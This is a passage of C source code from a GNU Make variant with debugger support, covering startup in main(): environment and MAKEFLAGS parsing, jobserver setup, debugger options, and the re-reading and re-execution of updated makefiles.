check-symlink\"\n#endif\n#ifdef HAVE_GUILE\n                           \" guile\"\n#endif\n#ifdef MAKE_LOAD\n                           \" load\"\n#endif\n#ifdef MAKE_MAINTAINER_MODE\n                           \" maintainer\"\n#endif\n                           ;\n\n    define_variable_cname (\".FEATURES\", features, o_default, 0);\n  }\n\n  /* Configure GNU Guile support */\n  guile_gmake_setup (NILF);\n\n  /* Read in variables from the environment.  It is important that this be\n     done before $(MAKE) is figured out so its definitions will not be\n     from the environment.  */\n\n  {\n    unsigned int i;\n\n    for (i = 0; envp[i] != 0; ++i)\n      {\n        struct variable *v;\n        const char *ep = envp[i];\n        /* By default, export all variables culled from the environment.  */\n        enum variable_export export = v_export;\n        size_t len;\n\n        while (! STOP_SET (*ep, MAP_EQUALS))\n          ++ep;\n\n        /* If there's no equals sign it's a malformed environment.  Ignore.  */\n        if (*ep == '\\0')\n          continue;\n\n        /* Length of the variable name, and skip the '='.  */\n        len = ep++ - envp[i];\n\n        /* If this is MAKE_RESTARTS, check to see if the \"already printed\n           the enter statement\" flag is set.  */\n        if (len == 13 && strneq (envp[i], \"MAKE_RESTARTS\", 13))\n          {\n            if (*ep == '-')\n              {\n                OUTPUT_TRACED ();\n                ++ep;\n              }\n            restarts = (unsigned int) atoi (ep);\n            export = v_noexport;\n          }\n\n        v = define_variable (envp[i], len, ep, o_env, 1);\n\n        /* POSIX says the value of SHELL set in the makefile won't change the\n           value of SHELL given to subprocesses.  */\n        if (streq (v->name, \"SHELL\"))\n          {\n            export = v_noexport;\n            shell_var.name = xstrdup (\"SHELL\");\n            shell_var.length = 5;\n            shell_var.value = xstrdup (ep);\n          }\n\n        v->export = export;\n      }\n  }\n\n  /* Decode the switches.  */\n  decode_env_switches (STRING_SIZE_TUPLE (\"GNUMAKEFLAGS\"));\n\n  /* Clear GNUMAKEFLAGS to avoid duplication.  */\n  define_variable_cname (\"GNUMAKEFLAGS\", \"\", o_env, 0);\n\n  decode_env_switches (STRING_SIZE_TUPLE (\"MAKEFLAGS\"));\n\n#if 0\n  /* People write things like:\n        MFLAGS=\"CC=gcc -pipe\" \"CFLAGS=-g\"\n     and we set the -p, -i and -e switches.  Doesn't seem quite right.  */\n  decode_env_switches (STRING_SIZE_TUPLE (\"MFLAGS\"));\n#endif\n\n  /* In output sync mode we need to sync any output generated by reading the\n     makefiles, such as in $(info ...) or stderr from $(shell ...) etc.  */\n\n  syncing = make_sync.syncout = (output_sync == OUTPUT_SYNC_LINE\n                                 || output_sync == OUTPUT_SYNC_TARGET);\n  OUTPUT_SET (&make_sync);\n\n  /* Parse the command line options.  Remember the job slots set this way.  */\n  {\n    int env_slots = arg_job_slots;\n    arg_job_slots = INVALID_JOB_SLOTS;\n\n    decode_switches (argc, (const char **)argv, 0);\n    argv_slots = arg_job_slots;\n\n    if (arg_job_slots == INVALID_JOB_SLOTS)\n      arg_job_slots = env_slots;\n  }\n\n  /* Set a variable specifying whether stdout/stdin is hooked to a TTY.  */\n#ifdef HAVE_ISATTY\n  if (isatty (fileno (stdout)))\n    if (! lookup_variable (STRING_SIZE_TUPLE (\"MAKE_TERMOUT\")))\n      {\n        const char *tty = TTYNAME (fileno (stdout));\n        define_variable_cname (\"MAKE_TERMOUT\", tty ? tty : DEFAULT_TTYNAME,\n                               o_default, 0)->export = v_export;\n      }\n  if (isatty (fileno (stderr)))\n    if (! lookup_variable (STRING_SIZE_TUPLE (\"MAKE_TERMERR\")))\n      {\n        const char *tty = TTYNAME (fileno (stderr));\n        define_variable_cname (\"MAKE_TERMERR\", tty ? tty : DEFAULT_TTYNAME,\n                               o_default, 0)->export = v_export;\n      }\n#endif\n\n  /* Reset in case the switches changed our minds.  */\n  syncing = (output_sync == OUTPUT_SYNC_LINE\n             || output_sync == OUTPUT_SYNC_TARGET);\n\n  if (make_sync.syncout && ! syncing)\n    output_close (&make_sync);\n\n  make_sync.syncout = syncing;\n  OUTPUT_SET (&make_sync);\n\n  /* Figure out the level of recursion.  */\n  {\n    struct variable *v = lookup_variable (STRING_SIZE_TUPLE (MAKELEVEL_NAME));\n    if (v && v->value[0] != '\\0' && v->value[0] != '-')\n      makelevel = (unsigned int) atoi (v->value);\n    else\n      makelevel = 0;\n\n    v = lookup_variable (STRING_SIZE_TUPLE (MAKEPARENT_PID_NAME));\n    if (v && v->value[0] != '\\0' && v->value[0] != '-')\n      makeparent_pid = (pid_t) atoi (v->value);\n    else\n      makeparent_pid = (pid_t)0;\n\n    v = lookup_variable (STRING_SIZE_TUPLE (MAKEPARENT_TARGET_NAME));\n    if (v && v->value[0] != '\\0' && v->value[0] != '-') {\n      makeparent_target = v->value;\n    } else {\n      makeparent_target = NULL;\n    }\n  }\n\n  decode_trace_flags (tracing_opts);\n  decode_verbosity_flags (verbosity_opts);\n\n  /* FIXME: put into a subroutine like decode_trace_flags */\n  if (post_mortem_flag) {\n    debugger_on_error   |=  (DEBUGGER_ON_ERROR|DEBUGGER_ON_FATAL);\n    debugger_enabled     =  1;\n  } else if (debugger_flag) {\n    b_debugger_preread   = false;\n    job_slots            =  1;\n    i_debugger_stepping  =  1;\n    i_debugger_nexting   =  0;\n    debugger_enabled     =  1;\n    /* For now we'll do basic debugging. Later, \"stepping'\n       will stop here while next won't - either way no printing.\n    */\n    db_level            |=  DB_BASIC | DB_CALL | DB_SHELL | DB_UPDATE_GOAL\n        | DB_MAKEFILES;\n  } else {\n    /* debugging sets some things */\n    if (debugger_opts) {\n      const char **p;\n      b_show_version = true;\n      for (p = debugger_opts->list; *p != 0; ++p)\n        {\n          if (0 == strcmp(*p, \"preread\")) {\n            b_debugger_preread  = true;\n            db_level           |= DB_READ_MAKEFILES;\n          }\n\n          if (0 == strcmp(*p, \"goal\")) {\n            b_debugger_goal  = true;\n            db_level           |= DB_UPDATE_GOAL;\n          }\n\n          if ( 0 == strcmp(*p, \"full\") || b_debugger_preread || b_debugger_goal\n               || 0 == strcmp(*p, \"preaction\") ) {\n            job_slots            =  1;\n            i_debugger_stepping  =  1;\n            i_debugger_nexting   =  0;\n            debugger_enabled     =  1;\n            /* For now we'll do basic debugging. Later, \"stepping'\n               will stop here while next won't - either way no printing.\n             */\n            db_level          |=  DB_BASIC | DB_CALL | DB_UPDATE_GOAL\n                              |   b_debugger_goal ? 0 : DB_SHELL\n                              |   DB_MAKEFILES;\n          }\n          if ( 0 == strcmp(*p, \"full\") || b_debugger_goal\n               || 0 == strcmp(*p, \"error\") ) {\n            debugger_on_error  |=  (DEBUGGER_ON_ERROR|DEBUGGER_ON_FATAL);\n          } else if ( 0 == strcmp(*p, \"fatal\") ) {\n            debugger_on_error  |=  DEBUGGER_ON_FATAL;\n          }\n        }\n#ifndef HAVE_LIBREADLINE\n      O (error, NILF,\n             \"warning: you specified a debugger option, but you don't have readline support\");\n      O (error, NILF,\n             \"debugger support compiled in. Debugger options will be ignored.\");\n#endif\n    }\n  }\n\n  /* Set always_make_flag if -B was given and we've not restarted already.  */\n  always_make_flag = always_make_set && (restarts == 0);\n\n  /* Print version information, and exit.  */\n  if (print_version_flag)\n    {\n      print_version ();\n      die (MAKE_SUCCESS);\n    }\n\n  if (ISDB (DB_BASIC) && makelevel == 0 && b_show_version)\n    print_version ();\n\n  /* Set the \"MAKE_COMMAND\" variable to the name we were invoked with.\n     (If it is a relative pathname with a slash, prepend our directory name\n     so the result will run the same program regardless of the current dir.\n     If it is a name with no slash, we can only hope that PATH did not\n     find it in the current directory.)  */\n  if (current_directory[0] != '\\0'\n      && argv[0] != 0 && argv[0][0] != '/' && strchr (argv[0], '/') != 0\n      )\n    argv[0] = xstrdup (concat (3, current_directory, \"/\", argv[0]));\n\n  /* We may move, but until we do, here we are.  */\n  starting_directory = current_directory;\n\n  /* Update profile global options from cli options */\n  decode_profile_options();\n  if (profile_flag) profile_init(PACKAGE_TARNAME \" \" PACKAGE_VERSION, argv, arg_job_slots);\n\n  /* Validate the arg_job_slots configuration before we define MAKEFLAGS so\n     users get an accurate value in their makefiles.\n     At this point arg_job_slots is the argv setting, if there is one, else\n     the MAKEFLAGS env setting, if there is one.  */\n\n  if (jobserver_auth)\n    {\n      /* We're a child in an existing jobserver group.  */\n      if (argv_slots == INVALID_JOB_SLOTS)\n        {\n          /* There's no -j option on the command line: check authorization.  */\n          if (jobserver_parse_auth (jobserver_auth))\n            {\n              /* Success!  Use the jobserver.  */\n              goto job_setup_complete;\n            }\n\n          /* Oops: we have jobserver-auth but it's invalid :(.  */\n          O (error, NILF, _(\"warning: jobserver unavailable: using -j1.  Add '+' to parent make rule.\"));\n          arg_job_slots = 1;\n        }\n\n      /* The user provided a -j setting on the command line so use it: we're\n         the master make of a new jobserver group.  */\n      else if (!restarts)\n        ON (error, NILF,\n            _(\"warning: -j%d forced in submake: resetting jobserver mode.\"),\n            argv_slots);\n\n      /* We can't use our parent's jobserver, so reset.  */\n      reset_jobserver ();\n    }\n\n job_setup_complete:\n\n  /* The extra indirection through $(MAKE_COMMAND) is done\n     for hysterical raisins.  */\n\n  define_variable_cname (\"MAKE_COMMAND\", argv[0], o_default, 0);\n  define_variable_cname (\"MAKE\", \"$(MAKE_COMMAND)\", o_default, 1);\n\n  if (command_variables != 0)\n    {\n      struct command_variable *cv;\n      struct variable *v;\n      size_t len = 0;\n      char *value, *p;\n\n      /* Figure out how much space will be taken up by the command-line\n         variable definitions.  */\n      for (cv = command_variables; cv != 0; cv = cv->next)\n        {\n          v = cv->variable;\n          len += 2 * strlen (v->name);\n          if (! v->recursive)\n            ++len;\n          ++len;\n          len += 2 * strlen (v->value);\n          ++len;\n        }\n\n      /* Now allocate a buffer big enough and fill it.  */\n      p = value = alloca (len);\n      for (cv = command_variables; cv != 0; cv = cv->next)\n        {\n          v = cv->variable;\n          p = quote_for_env (p, v->name);\n          if (! v->recursive)\n            *p++ = ':';\n          *p++ = '=';\n          p = quote_for_env (p, v->value);\n          *p++ = ' ';\n        }\n      p[-1] = '\\0';             /* Kill the final space and terminate.  */\n\n      /* Define an unchangeable variable with a name that no POSIX.2\n         makefile could validly use for its own variable.  */\n      define_variable_cname (\"-*-command-variables-*-\", value, o_automatic, 0);\n\n      /* Define the variable; this will not override any user definition.\n         Normally a reference to this variable is written into the value of\n         MAKEFLAGS, allowing the user to override this value to affect the\n         exported value of MAKEFLAGS.  In POSIX-pedantic mode, we cannot\n         allow the user's setting of MAKEOVERRIDES to affect MAKEFLAGS, so\n         a reference to this hidden variable is written instead. */\n      define_variable_cname (\"MAKEOVERRIDES\", \"${-*-command-variables-*-}\",\n                             o_env, 1);\n    }\n\n  /* If there were -C flags, move ourselves about.  */\n  if (directories != 0)\n    {\n      unsigned int i;\n      for (i = 0; directories->list[i] != 0; ++i)\n        {\n          const char *dir = directories->list[i];\n          if (chdir (dir) < 0)\n            pfatal_with_name (dir);\n        }\n    }\n\n  /* Except under -s, always do -w in sub-makes and under -C.  */\n  if (!silent_flag && (directories != 0 || makelevel > 0))\n    print_directory = 1;\n\n  /* Let the user disable that with --no-print-directory.  */\n  if (inhibit_print_directory)\n    print_directory = 0;\n\n  /* If -R was given, set -r too (doesn't make sense otherwise!)  */\n  if (no_builtin_variables_flag)\n    no_builtin_rules_flag = 1;\n\n  /* Construct the list of include directories to search.  */\n\n  construct_include_path (include_directories == 0\n                          ? 0 : include_directories->list);\n\n  /* If we chdir'ed, figure out where we are now.  */\n  if (directories)\n    {\n#ifdef WINDOWS32\n      if (getcwd_fs (current_directory, GET_PATH_MAX) == 0)\n#else\n      if (getcwd (current_directory, GET_PATH_MAX) == 0)\n#endif\n        {\n#ifdef  HAVE_GETCWD\n          perror_with_name (\"getcwd\", \"\");\n#else\n          OS (error, NILF, \"getwd: %s\", current_directory);\n#endif\n          starting_directory = 0;\n        }\n      else\n        starting_directory = current_directory;\n    }\n\n  define_variable_cname (\"CURDIR\", current_directory, o_file, 0);\n\n  /* Read any stdin makefiles into temporary files.  */\n\n  if (makefiles != 0)\n    {\n      unsigned int i;\n      for (i = 0; i < makefiles->idx; ++i)\n        if (makefiles->list[i][0] == '-' && makefiles->list[i][1] == '\\0')\n          {\n            /* This makefile is standard input.  Since we may re-exec\n               and thus re-read the makefiles, we read standard input\n               into a temporary file and read from that.  */\n            FILE *outfile;\n            char *template;\n            const char *tmpdir;\n\n            if (stdin_nm)\n              O (fatal, NILF,\n                 _(\"Makefile from standard input specified twice.\"));\n\n#ifdef P_tmpdir\n# define DEFAULT_TMPDIR    P_tmpdir\n#else\n# define DEFAULT_TMPDIR    \"/tmp\"\n#endif\n#define DEFAULT_TMPFILE     \"GmXXXXXX\"\n\n            if (((tmpdir = getenv (\"TMPDIR\")) == NULL || *tmpdir == '\\0')\n               )\n              tmpdir = DEFAULT_TMPDIR;\n\n            template = alloca (strlen (tmpdir) + CSTRLEN (DEFAULT_TMPFILE) + 2);\n            strcpy (template, tmpdir);\n\n#ifdef HAVE_DOS_PATHS\n            if (strchr (\"/\\\\\", template[strlen (template) - 1]) == NULL)\n              strcat (template, \"/\");\n#else\n# ifndef VMS\n            if (template[strlen (template) - 1] != '/')\n              strcat (template, \"/\");\n# endif /* !VMS */\n#endif /* !HAVE_DOS_PATHS */\n\n            strcat (template, DEFAULT_TMPFILE);\n            outfile = get_tmpfile (&stdin_nm, template);\n            if (outfile == 0)\n              pfatal_with_name (_(\"fopen (temporary file)\"));\n            while (!feof (stdin) && ! ferror (stdin))\n              {\n                char buf[2048];\n                size_t n = fread (buf, 1, sizeof (buf), stdin);\n                if (n > 0 && fwrite (buf, 1, n, outfile) != n)\n                  pfatal_with_name (_(\"fwrite (temporary file)\"));\n              }\n            fclose (outfile);\n\n            /* Replace the name that read_all_makefiles will\n               see with the name of the temporary file.  */\n            makefiles->list[i] = strcache_add (stdin_nm);\n\n            /* Make sure the temporary file will not be remade.  */\n            {\n              struct file *f = enter_file (strcache_add (stdin_nm));\n              f->updated = 1;\n              f->update_status = us_success;\n              f->command_state = cs_finished;\n              /* Can't be intermediate, or it'll be removed too early for\n                 make re-exec.  */\n              f->intermediate = 0;\n              f->dontcare = 0;\n            }\n          }\n    }\n\n#ifndef __EMX__ /* Don't use a SIGCHLD handler for OS/2 */\n#if !defined(HAVE_WAIT_NOHANG) || defined(MAKE_JOBSERVER)\n  /* Set up to handle children dying.  This must be done before\n     reading in the makefiles so that 'shell' function calls will work.\n\n     If we don't have a hanging wait we have to fall back to old, broken\n     functionality here and rely on the signal handler and counting\n     children.\n\n     If we're using the jobs pipe we need a signal handler so that SIGCHLD is\n     not ignored; we need it to interrupt the read(2) of the jobserver pipe if\n     we're waiting for a token.\n\n     If none of these are true, we don't need a signal handler at all.  */\n  {\n# if defined SIGCHLD\n    bsd_signal (SIGCHLD, child_handler);\n# endif\n# if defined SIGCLD && SIGCLD != SIGCHLD\n    bsd_signal (SIGCLD, child_handler);\n# endif\n  }\n\n#ifdef HAVE_PSELECT\n  /* If we have pselect() then we need to block SIGCHLD so it's deferred.  */\n  {\n    sigset_t block;\n    sigemptyset (&block);\n    sigaddset (&block, SIGCHLD);\n    if (sigprocmask (SIG_SETMASK, &block, NULL) < 0)\n      pfatal_with_name (\"sigprocmask(SIG_SETMASK, SIGCHLD)\");\n  }\n#endif\n\n#endif\n#endif\n\n  /* Let the user send us SIGUSR1 to toggle the -d flag during the run.  */\n#ifdef SIGUSR1\n  bsd_signal (SIGUSR1, debug_signal_handler);\n#endif\n\n  /* Define the initial list of suffixes for old-style rules.  */\n  set_default_suffixes ();\n\n  /* Define the file rules for the built-in suffix rules.  These will later\n     be converted into pattern rules.  We used to do this in\n     install_default_implicit_rules, but since that happens after reading\n     makefiles, it results in the built-in pattern rules taking precedence\n     over makefile-specified suffix rules, which is wrong.  */\n  install_default_suffix_rules ();\n\n  /* Define some internal and special variables.  */\n  define_automatic_variables ();\n\n  /* Set up the MAKEFLAGS and MFLAGS variables for makefiles to see.\n     Initialize it to be exported but allow the makefile to reset it.  */\n  define_makeflags (0, 0)->export = v_export;\n\n  /* Define the default variables.  */\n  define_default_variables ();\n\n  default_file = enter_file (strcache_add (\".DEFAULT\"));\n\n  default_goal_var = define_variable_cname (\".DEFAULT_GOAL\", \"\", o_file, 0);\n\n  /* Evaluate all strings provided with --eval.\n     Also set up the $(-*-eval-flags-*-) variable.  */\n\n  if (eval_strings)\n    {\n      char *p, *value;\n      unsigned int i;\n      size_t len = (CSTRLEN (\"--eval=\") + 1) * eval_strings->idx;\n\n      for (i = 0; i < eval_strings->idx; ++i)\n        {\n          p = xstrdup (eval_strings->list[i]);\n          len += 2 * strlen (p);\n          eval_buffer (p, NULL);\n          free (p);\n        }\n\n      p = value = alloca (len);\n      for (i = 0; i < eval_strings->idx; ++i)\n        {\n          strcpy (p, \"--eval=\");\n          p += CSTRLEN (\"--eval=\");\n          p = quote_for_env (p, eval_strings->list[i]);\n          *(p++) = ' ';\n        }\n      p[-1] = '\\0';\n\n      define_variable_cname (\"-*-eval-flags-*-\", value, o_automatic, 0);\n    }\n\n  /* Read all the makefiles.  */\n\n  read_makefiles = read_all_makefiles (makefiles == 0 ? 0 : makefiles->list);\n\n#ifdef WINDOWS32\n  /* look one last time after reading all Makefiles */\n  if (no_default_sh_exe)\n    no_default_sh_exe = !find_and_set_default_shell (NULL);\n#endif /* WINDOWS32 */\n\n#if defined (__MSDOS__) || defined (__EMX__) || defined (VMS)\n  /* We need to know what kind of shell we will be using.  */\n  {\n    extern int _is_unixy_shell (const char *_path);\n    struct variable *shv = lookup_variable (STRING_SIZE_TUPLE (\"SHELL\"));\n    extern int unixy_shell;\n    extern const char *default_shell;\n\n    if (shv && *shv->value)\n      {\n        char *shell_path = recursively_expand (shv);\n\n        if (shell_path && _is_unixy_shell (shell_path))\n          unixy_shell = 1;\n        else\n          unixy_shell = 0;\n        if (shell_path)\n          default_shell = shell_path;\n      }\n  }\n#endif /* __MSDOS__ || __EMX__ */\n\n  {\n    int old_builtin_rules_flag = no_builtin_rules_flag;\n    int old_builtin_variables_flag = no_builtin_variables_flag;\n    int old_arg_job_slots = arg_job_slots;\n\n    arg_job_slots = INVALID_JOB_SLOTS;\n\n    /* Decode switches again, for variables set by the makefile.  */\n    decode_env_switches (STRING_SIZE_TUPLE (\"GNUMAKEFLAGS\"));\n\n    /* Clear GNUMAKEFLAGS to avoid duplication.  */\n    define_variable_cname (\"GNUMAKEFLAGS\", \"\", o_override, 0);\n\n    decode_env_switches (STRING_SIZE_TUPLE (\"MAKEFLAGS\"));\n#if 0\n    decode_env_switches (STRING_SIZE_TUPLE (\"MFLAGS\"));\n#endif\n\n    /* If -j is not set in the makefile, or it was set on the command line,\n       reset to use the previous value.  */\n    if (arg_job_slots == INVALID_JOB_SLOTS || argv_slots != INVALID_JOB_SLOTS)\n      arg_job_slots = old_arg_job_slots;\n\n    else if (jobserver_auth)\n      {\n        /* Makefile MAKEFLAGS set -j, but we already have a jobserver.\n           Make us the master of a new jobserver group.  */\n        if (!restarts)\n          ON (error, NILF,\n              _(\"warning: -j%d forced in makefile: resetting jobserver mode.\"),\n              arg_job_slots);\n\n        /* We can't use our parent's jobserver, so reset.  */\n        reset_jobserver ();\n      }\n\n    /* Reset in case the switches changed our mind.  */\n    syncing = (output_sync == OUTPUT_SYNC_LINE\n               || output_sync == OUTPUT_SYNC_TARGET);\n\n    if (make_sync.syncout && ! syncing)\n      output_close (&make_sync);\n\n    make_sync.syncout = syncing;\n    OUTPUT_SET (&make_sync);\n\n    /* If we've disabled builtin rules, get rid of them.  */\n    if (no_builtin_rules_flag && ! old_builtin_rules_flag)\n      {\n        if (suffix_file->builtin)\n          {\n            free_dep_chain (suffix_file->deps);\n            suffix_file->deps = 0;\n          }\n        define_variable_cname (\"SUFFIXES\", \"\", o_default, 0);\n      }\n\n    /* If we've disabled builtin variables, get rid of them.  */\n    if (no_builtin_variables_flag && ! old_builtin_variables_flag)\n      undefine_default_variables ();\n  }\n\n  /* Final jobserver configuration.\n\n     If we have jobserver_auth then we are a client in an existing jobserver\n     group, that's already been verified OK above.  If we don't have\n     jobserver_auth and jobserver is enabled, then start a new jobserver.\n\n     arg_job_slots = INVALID_JOB_SLOTS if we don't want -j in MAKEFLAGS\n\n     arg_job_slots = # of jobs of parallelism\n\n     job_slots = 0 for no limits on jobs, or when limiting via jobserver.\n\n     job_slots = 1 for standard non-parallel mode.\n\n     job_slots >1 for old-style parallelism without jobservers.  */\n\n  if (jobserver_auth)\n    job_slots = 0;\n  else if (arg_job_slots == INVALID_JOB_SLOTS)\n    job_slots = 1;\n  else\n    job_slots = arg_job_slots;\n\n  /* If we have >1 slot at this point, then we're a top-level make.\n     Set up the jobserver.\n\n     Every make assumes that it always has one job it can run.  For the\n     submakes it's the token they were given by their parent.  For the top\n     make, we just subtract one from the number the user wants.  */\n\n  if (job_slots > 1 && jobserver_setup (job_slots - 1))\n    {\n      /* Fill in the jobserver_auth for our children.  */\n      jobserver_auth = jobserver_get_auth ();\n\n      if (jobserver_auth)\n        {\n          /* We're using the jobserver so set job_slots to 0.  */\n          master_job_slots = job_slots;\n          job_slots = 0;\n        }\n    }\n\n  /* If we're not using parallel jobs, then we don't need output sync.\n     This is so people can enable output sync in GNUMAKEFLAGS or similar, but\n     not have it take effect unless parallel builds are enabled.  */\n  if (syncing && job_slots == 1)\n    {\n      OUTPUT_UNSET ();\n      output_close (&make_sync);\n      syncing = 0;\n      output_sync = OUTPUT_SYNC_NONE;\n    }\n\n#ifndef MAKE_SYMLINKS\n  if (check_symlink_flag)\n    {\n      O (error, NILF, _(\"Symbolic links not supported: disabling -L.\"));\n      check_symlink_flag = 0;\n    }\n#endif\n\n  /* Set up MAKEFLAGS and MFLAGS again, so they will be right.  */\n\n  define_makeflags (1, 0);\n\n  /* Make each 'struct goaldep' point at the 'struct file' for the file\n     depended on.  Also do magic for special targets.  */\n\n  snap_deps ();\n\n  /* Convert old-style suffix rules to pattern rules.  It is important to\n     do this before installing the built-in pattern rules below, so that\n     makefile-specified suffix rules take precedence over built-in pattern\n     rules.  */\n\n  convert_to_pattern ();\n\n  /* Install the default implicit pattern rules.\n     This used to be done before reading the makefiles.\n     But in that case, built-in pattern rules were in the chain\n     before user-defined ones, so they matched first.  */\n\n  install_default_implicit_rules ();\n\n  /* Compute implicit rule limits and do magic for pattern rules.  */\n\n  snap_implicit_rules ();\n\n  /* Construct the listings of directories in VPATH lists.  */\n\n  build_vpath_lists ();\n\n  /* Mark files given with -o flags as very old and as having been updated\n     already, and files given with -W flags as brand new (time-stamp as far\n     as possible into the future).  If restarts is set we'll do -W later.  */\n\n  if (old_files != 0)\n    {\n      const char **p;\n      for (p = old_files->list; *p != 0; ++p)\n        {\n          struct file *f = enter_file (*p);\n          f->last_mtime = f->mtime_before_update = OLD_MTIME;\n          f->updated = 1;\n          f->update_status = us_success;\n          f->command_state = cs_finished;\n        }\n    }\n\n  if (!restarts && new_files != 0)\n    {\n      const char **p;\n      for (p = new_files->list; *p != 0; ++p)\n        {\n          struct file *f = enter_file (*p);\n          f->last_mtime = f->mtime_before_update = NEW_MTIME;\n        }\n    }\n\n  /* Initialize the remote job module.  */\n  remote_setup ();\n\n  /* Dump any output we've collected.  */\n\n  OUTPUT_UNSET ();\n  output_close (&make_sync);\n\n  if (read_makefiles)\n    {\n      /* Update any makefiles if necessary.  */\n\n      FILE_TIMESTAMP *makefile_mtimes;\n      char **aargv = NULL;\n      const char **nargv;\n      int nargc;\n      enum update_status status;\n\n      DB (DB_BASIC, (_(\"Updating makefiles...\\n\")));\n\n      {\n        struct goaldep *d;\n        unsigned int num_mkfiles = 0;\n        for (d = read_makefiles; d != NULL; d = d->next)\n          ++num_mkfiles;\n\n        makefile_mtimes = alloca (num_mkfiles * sizeof (FILE_TIMESTAMP));\n      }\n\n      /* Remove any makefiles we don't want to try to update.  Record the\n         current modtimes of the others so we can compare them later.  */\n      {\n        struct goaldep *d = read_makefiles;\n        struct goaldep *last = NULL;\n        unsigned int mm_idx = 0;\n\n        while (d != 0)\n          {\n            struct file *f;\n\n            for (f = d->file->double_colon; f != NULL; f = f->prev)\n              if (f->deps == 0 && f->cmds != 0)\n                break;\n\n            if (f)\n              {\n                /* This makefile is a :: target with commands, but no\n                   dependencies.  So, it will always be remade.  This might\n                   well cause an infinite loop, so don't try to remake it.\n                   (This will only happen if your makefiles are written\n                   exceptionally stupidly; but if you work for Athena, that's\n                   how you write your makefiles.)  */\n\n                DB (DB_VERBOSE,\n                    (_(\"Makefile '%s' might loop; not remaking it.\\n\"),\n                     f->name));\n\n                if (last)\n                  last->next = d->next;\n                else\n                  read_makefiles = d->next;\n\n                /* Free the storage.  */\n                free_goaldep (d);\n\n                d = last ? last->next : read_makefiles;\n              }\n            else\n              {\n                makefile_mtimes[mm_idx++] = file_mtime_no_search (d->file);\n                last = d;\n                d = d->next;\n              }\n          }\n      }\n\n      /* Set up 'MAKEFLAGS' specially while remaking makefiles.  */\n      define_makeflags (1, 1);\n\n      {\n        int orig_db_level = db_level;\n\n        if (! ISDB (DB_MAKEFILES))\n          db_level = DB_NONE;\n\n        rebuilding_makefiles = 1;\n\tstatus = update_goal_chain (read_makefiles);\n        rebuilding_makefiles = 0;\n\n        db_level = orig_db_level;\n      }\n\n      switch (status)\n        {\n        case us_question:\n          /* The only way this can happen is if the user specified -q and asked\n             for one of the makefiles to be remade as a target on the command\n             line.  Since we're not actually updating anything with -q we can\n             treat this as \"did nothing\".  */\n\n        case us_none:\n          /* Did nothing.  */\n          break;\n\n        case us_failed:\n          /* Failed to update.  Figure out if we care.  */\n          {\n            /* Nonzero if any makefile was successfully remade.  */\n            int any_remade = 0;\n            /* Nonzero if any makefile we care about failed\n               in updating or could not be found at all.  */\n            int any_failed = 0;\n            unsigned int i;\n            struct goaldep *d;\n\n            for (i = 0, d = read_makefiles; d != 0; ++i, d = d->next)\n              {\n                if (d->file->updated)\n                  {\n                    /* This makefile was updated.  */\n                    if (d->file->update_status == us_success)\n                      {\n                        /* It was successfully updated.  */\n                        any_remade |= (file_mtime_no_search (d->file)\n                                       != makefile_mtimes[i]);\n                      }\n                    else if (! (d->flags & RM_DONTCARE))\n                      {\n                        FILE_TIMESTAMP mtime;\n                        /* The update failed and this makefile was not\n                           from the MAKEFILES variable, so we care.  */\n                        OS (error, NILF, _(\"Failed to remake makefile '%s'.\"),\n                            d->file->name);\n                        mtime = file_mtime_no_search (d->file);\n                        any_remade |= (mtime != NONEXISTENT_MTIME\n                                       && mtime != makefile_mtimes[i]);\n                        makefile_status = MAKE_FAILURE;\n                      }\n                  }\n                else\n                  /* This makefile was not found at all.  */\n                  if (! (d->flags & RM_DONTCARE))\n                    {\n                      const char *dnm = dep_name (d);\n                      size_t l = strlen (dnm);\n\n                      /* This is a makefile we care about.  See how much.  */\n                      if (d->flags & RM_INCLUDED)\n                        /* An included makefile.  We don't need to die, but we\n                           do want to complain.  */\n                        error (NILF, l,\n                               _(\"Included makefile '%s' was not found.\"), dnm);\n                      else\n                        {\n                          /* A normal makefile.  We must die later.  */\n                          error (NILF, l,\n                                 _(\"Makefile '%s' was not found\"), dnm);\n                          any_failed = 1;\n                        }\n                    }\n              }\n\n            if (any_remade)\n              goto re_exec;\n            if (any_failed)\n              die (MAKE_FAILURE);\n            break;\n          }\n\n        case us_success:\n        re_exec:\n          /* Updated successfully.  Re-exec ourselves.  */\n\n          remove_intermediates (0);\n\n          if (print_data_base_flag)\n            print_data_base ();\n\n          clean_jobserver (0);\n\n          if (makefiles != 0)\n            {\n              /* These names might have changed.  */\n              int i, j = 0;\n              for (i = 1; i < argc; ++i)\n                if (strneq (argv[i], \"-f\", 2)) /* XXX */\n                  {\n                    if (argv[i][2] == '\\0')\n                      /* This cast is OK since we never modify argv.  */\n                      argv[++i] = (char *) makefiles->list[j];\n                    else\n                      argv[i] = xstrdup (concat (2, \"-f\", makefiles->list[j]));\n                    ++j;\n                  }\n            }\n\n          /* Add -o option for the stdin temporary file, if necessary.  */\n          nargc = argc;\n          if (stdin_nm)\n            {\n              void *m = xmalloc ((nargc + 2) * sizeof (char *));\n              aargv = m;\n              memcpy (aargv, argv, argc * sizeof (char *));\n              aargv[nargc++] = xstrdup (concat (2, \"-o\", stdin_nm));\n              aargv[nargc] = 0;\n              nargv = m;\n            }\n          else\n            nargv = (const char**)argv;\n\n          if (directories != 0 && directories->idx > 0)\n            {\n              int bad = 1;\n              if (directory_before_chdir != 0)\n                {\n                  if (chdir (directory_before_chdir) < 0)\n                      perror_with_name (\"chdir\", \"\");\n                  else\n                    bad = 0;\n                }\n              if (bad)\n                O (fatal, NILF,\n                   _(\"Couldn't change back to original directory.\"));\n            }\n\n          ++restarts;\n\n          if (ISDB (DB_BASIC))\n            {\n              const char **p;\n              printf (_(\"Re-executing[%u]:\"), restarts);\n              for (p = nargv; *p != 0; ++p)\n                printf (\" %s\", *p);\n              putchar ('\\n');\n              fflush (stdout);\n            }\n\n          {\n            char **p;\n            for (p = environ; *p != 0; ++p)\n              {\n                if (strneq (*p, MAKELEVEL_NAME \"=\", MAKELEVEL_LENGTH+1))\n                  {\n                    *p = alloca (40);\n                    sprintf (*p, \"%s=%u\", MAKELEVEL_NAME, makelevel);\n                  }\n                else if (strneq (*p, \"MAKE_RESTARTS=\", CSTRLEN (\"MAKE_RESTARTS=\")))\n                  {\n                    *p = alloca (40);\n                    sprintf (*p, \"MAKE_RESTARTS=%s%u\",\n                             OUTPUT_IS_TRACED () ? \"-\" : \"\", restarts);\n                    restarts = 0;\n                  }\n              }\n          }\n\n          /* If we didn't set the restarts variable yet, add it.  */\n          if (restarts)\n            {\n              char *b = alloca (40);\n              sprintf (b, \"MAKE_RESTARTS=%s%u\",\n                       OUTPUT_IS_TRACED () ? \"-\" : \"\", restarts);\n              putenv (b);\n            